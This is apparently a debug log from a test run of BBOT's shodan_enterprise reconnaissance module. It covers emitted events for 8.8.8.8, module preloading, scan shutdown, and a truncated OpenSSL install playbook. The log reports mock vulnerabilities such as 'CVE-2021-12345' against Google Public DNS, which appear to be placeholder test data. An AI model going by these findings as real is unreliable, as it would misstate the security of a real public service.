[DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'OpenSSL'}", module=shodan_enterprise, tags={'web-crypto', 'in-scope', 'web-technology'}) passed post-check -2026-03-02 09:02:04,506 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) from shodan_enterprise -2026-03-02 09:02:04,507 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check -2026-03-02 09:02:04,507 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) from shodan_enterprise -2026-03-02 09:02:04,507 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'HIGH', 'description': 'CVE-2021-12345'}", module=shodan_enterprise, tags={'high', 'in-scope'}) passed post-check -2026-03-02 09:02:04,508 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) from shodan_enterprise -2026-03-02 09:02:04,508 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:/a:google:dns'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check -2026-03-02 09:02:04,508 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) from shodan_enterprise -2026-03-02 09:02:04,509 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'CRITICAL', 'description': 'CVE-2022-11111'}", module=shodan_enterprise, tags={'in-scope', 'critical'}) passed post-check -2026-03-02 09:02:04,509 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) from shodan_enterprise -2026-03-02 09:02:04,509 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'Google Public DNS'}", module=shodan_enterprise, tags={'in-scope', 'dns'}) passed post-check -2026-03-02 09:02:04,510 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) from shodan_enterprise -2026-03-02 09:02:04,510 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check -2026-03-02 09:02:04,510 [DEBUG] bbot.modules.output.python base.py:1563 Got VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) from shodan_enterprise -2026-03-02 09:02:04,510 [DEBUG] bbot.modules.output.python base.py:1563 VULNERABILITY("{'host': '8.8.8.8', 'severity': 'LOW', 'description': 'CVE-2020-00001'}", module=shodan_enterprise, tags={'in-scope', 'low'}) passed post-check -2026-03-02 09:02:04,511 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) from shodan_enterprise -2026-03-02 09:02:04,511 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags={'verified', 'cloud', 'public-dns'}) passed post-check -2026-03-02 09:02:04,511 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) from shodan_enterprise -2026-03-02 09:02:04,512 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'cpe:2.3:a:google:dns:1.0:*:*:*:*:*:*:*'}", module=shodan_enterprise, tags={'in-scope', 'dns', 'nameserver'}) passed post-check -2026-03-02 09:02:04,512 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) from shodan_enterprise -2026-03-02 09:02:04,512 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'nginx'}", module=shodan_enterprise, tags={'web-servers', 'in-scope', 'web-technology'}) passed post-check -2026-03-02 09:02:04,512 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-03-02 09:02:04,513 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-03-02 09:02:04,513 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-03-02 09:02:04,513 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-03-02 09:02:04,513 [VERBOSE] bbot.scanner logger.py:151 Completed finish() -2026-03-02 09:02:04,514 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-03-02 09:02:04,514 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-03-02 09:02:04,514 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-03-02 09:02:04,614 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-03-02 09:02:04,615 [VERBOSE] bbot.scanner logger.py:151 Completed final finish() -2026-03-02 09:02:04,623 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-03-02 09:02:04,624 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-03-02 09:02:04,624 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-03-02 09:02:04,631 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-03-02 09:02:04,631 [VERBOSE] bbot.core.dnshelper logger.py:151 EngineClient DNSHelper: shutting down... -2026-03-02 09:02:04,632 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-03-02 09:02:04,632 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine got shutdown signal -2026-03-02 09:02:04,633 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: shutting down... -2026-03-02 09:02:04,633 [VERBOSE] bbot.core.dnsengine logger.py:151 EngineServer DNSEngine: finished shutting down -2026-03-02 09:02:04,703 [HUGESUCCESS] bbot.scanner logger.py:151 Scan testshodan_enterprise_test_oygimtz0xw completed in 0 seconds with status FINISHED -2026-03-02 09:02:04,703 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-03-02 09:02:04,704 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-03-02 09:02:04,705 [CRITICAL] bbot test_module_shodan_enterprise.py:70 Found 1 ASN events -2026-03-02 09:02:04,705 [CRITICAL] bbot test_module_shodan_enterprise.py:81 TCP ports: ['8.8.8.8:53'], UDP ports: ['8.8.8.8:53'] -2026-03-02 09:02:04,706 [HUGEWARNING] bbot logger.py:151 Vulnerabilities observed: {'CVE-2021-12345': 'HIGH', 'CVE-2022-11111': 'CRITICAL', 'CVE-2020-00001': 'LOW'} -2026-03-02 09:02:04,706 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test -2026-03-02 09:02:04,706 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected -2026-03-02 09:03:07,708 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/internal -2026-03-02 09:03:07,716 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-03-02 09:03:07,716 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-03-02 09:03:07,717 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-03-02 09:03:07,717 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-03-02 09:03:07,718 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-03-02 09:03:07,718 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-03-02 09:03:07,718 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/templates -2026-03-02 09:03:07,719 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz -2026-03-02 09:03:07,719 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-03-02 09:03:07,720 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules -2026-03-02 09:03:07,721 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-03-02 09:03:07,721 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-03-02 09:03:07,722 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-03-02 09:03:07,722 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-03-02 09:03:07,723 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-03-02 09:03:07,723 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-03-02 09:03:07,724 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-03-02 09:03:07,724 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-03-02 09:03:07,724 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-03-02 09:03:07,725 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-03-02 09:03:07,725 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-03-02 09:03:07,727 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-03-02 09:03:07,728 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-03-02 09:03:07,728 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-03-02 09:03:07,729 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-03-02 09:03:07,729 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-03-02 09:03:07,730 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-03-02 09:03:07,730 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-03-02 09:03:07,730 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-03-02 09:03:07,731 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-03-02 09:03:07,731 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-03-02 09:03:07,732 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-03-02 09:03:07,732 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-03-02 09:03:07,732 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-03-02 09:03:07,733 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-03-02 09:03:07,733 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-03-02 09:03:07,734 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-03-02 09:03:07,734 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-03-02 09:03:07,735 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-03-02 09:03:07,735 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-03-02 09:03:07,736 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-03-02 09:03:07,736 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-03-02 09:03:07,736 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-03-02 09:03:07,737 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-03-02 09:03:07,737 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-03-02 09:03:07,738 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-03-02 09:03:07,738 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-03-02 09:03:07,741 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-03-02 09:03:07,742 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-03-02 09:03:07,743 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-03-02 09:03:07,743 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-03-02 09:03:07,744 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-03-02 09:03:07,744 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-03-02 09:03:07,745 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-03-02 09:03:07,745 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-03-02 09:03:07,745 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-03-02 09:03:07,746 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-03-02 09:03:07,746 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-03-02 09:03:07,747 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-03-02 09:03:07,747 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-03-02 09:03:07,748 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-03-02 09:03:07,748 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-03-02 09:03:07,749 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-03-02 09:03:07,749 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-03-02 09:03:07,749 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-03-02 09:03:07,750 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-03-02 09:03:07,750 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-03-02 09:03:07,751 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-03-02 09:03:07,751 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-03-02 09:03:07,752 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-03-02 09:03:07,752 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-03-02 09:03:07,753 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-03-02 09:03:07,753 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-03-02 09:03:07,753 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-03-02 09:03:07,754 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-03-02 09:03:07,755 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-03-02 09:03:07,755 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-03-02 09:03:07,756 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-03-02 09:03:07,756 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-03-02 09:03:07,756 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-03-02 09:03:07,757 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-03-02 09:03:07,757 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-03-02 09:03:07,757 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-03-02 09:03:07,758 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-03-02 09:03:07,758 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-03-02 09:03:07,759 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-03-02 09:03:07,759 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-03-02 09:03:07,759 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-03-02 09:03:07,760 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-03-02 09:03:07,760 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-03-02 09:03:07,761 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-03-02 09:03:07,761 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-03-02 09:03:07,761 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-03-02 09:03:07,762 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-03-02 09:03:07,763 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-03-02 09:03:07,763 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-03-02 09:03:07,763 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-03-02 09:03:07,764 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-03-02 09:03:07,764 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-03-02 09:03:07,764 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-03-02 09:03:07,765 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-03-02 09:03:07,766 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-03-02 09:03:07,766 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-03-02 09:03:07,766 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-03-02 09:03:07,767 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-03-02 09:03:07,767 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-03-02 09:03:07,768 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-03-02 09:03:07,768 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-03-02 09:03:07,768 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-03-02 09:03:07,769 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-03-02 09:03:07,769 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-03-02 09:03:07,770 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-03-02 09:03:07,770 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-03-02 09:03:07,771 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-03-02 09:03:07,771 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-03-02 09:03:07,772 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-03-02 09:03:07,772 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-03-02 09:03:07,772 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-03-02 09:03:07,773 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-03-02 09:03:07,773 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-03-02 09:03:07,774 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-03-02 09:03:07,774 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-03-02 09:03:07,774 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-03-02 09:03:07,775 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-03-02 09:03:07,775 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-03-02 09:03:07,775 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/output -2026-03-02 09:03:07,776 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-03-02 09:03:07,776 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-03-02 09:03:07,777 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-03-02 09:03:07,777 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-03-02 09:03:07,778 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-03-02 09:03:07,778 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-03-02 09:03:07,779 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-03-02 09:03:07,779 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-03-02 09:03:07,780 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-03-02 09:03:07,780 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-03-02 09:03:07,781 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-03-02 09:03:07,781 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-03-02 09:03:07,782 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-03-02 09:03:07,782 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-03-02 09:03:07,782 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-03-02 09:03:07,783 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-03-02 09:03:07,783 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-03-02 09:03:07,784 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-03-02 09:03:07,784 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-03-02 09:03:07,785 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-03-02 09:03:07,786 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-03-02 09:03:07,786 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/deadly -2026-03-02 09:03:07,786 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-03-02 09:03:07,787 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/report -2026-03-02 09:03:07,787 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-03-02 09:03:07,788 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-03-02 09:03:07,788 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules -2026-03-02 09:03:07,788 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-03-02 09:03:07,789 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-03-02 09:03:07,789 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-03-02 09:03:07,790 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-03-02 09:03:07,790 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-03-02 09:03:07,792 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-03-02 09:03:07,793 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-03-02 09:03:07,795 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-03-02 09:03:07,796 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-03-02 09:03:07,797 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-03-02 09:03:07,797 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-03-02 09:03:07,798 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-03-02 09:03:07,799 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-03-02 09:03:07,799 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-03-02 09:03:07,800 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-03-02 09:03:07,800 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-03-02 09:03:08,619 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-03-02 09:03:08,619 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector -2026-03-02 09:03:08,620 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-03-02 09:03:08,719 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-03-02 09:03:09,118 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-03-02 09:03:09,119 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-03-02 09:03:09,119 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-03-02 09:03:09,119 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-03-02 09:03:09,248 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-03-02 09:03:09,249 [DEBUG] bbot base.py:103 Mocking DNS -2026-03-02 09:03:09,355 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-03-02 09:03:09,357 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-03-02 09:03:09,382 [HUGEINFO] bbot.scanner logger.py:151 Scan seeded with 1 targets (1 in whitelist) -2026-03-02 09:03:09,384 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-03-02 09:03:09,385 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/ansible-galaxy collection install community.general -2026-03-02 09:03:09,798 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-03-02 09:03:09,799 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-03-02 09:03:11,924 [SUCCESS] bbot.core.helpers.depsinstaller logger.py:151 Authentication successful -2026-03-02 09:03:11,925 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-03-02 09:03:11,925 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Archlinux'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Alpine)", - "package": { - "name": [ - "openssl", - "openssl-dev" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Alpine'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (FreeBSD)", - "package": 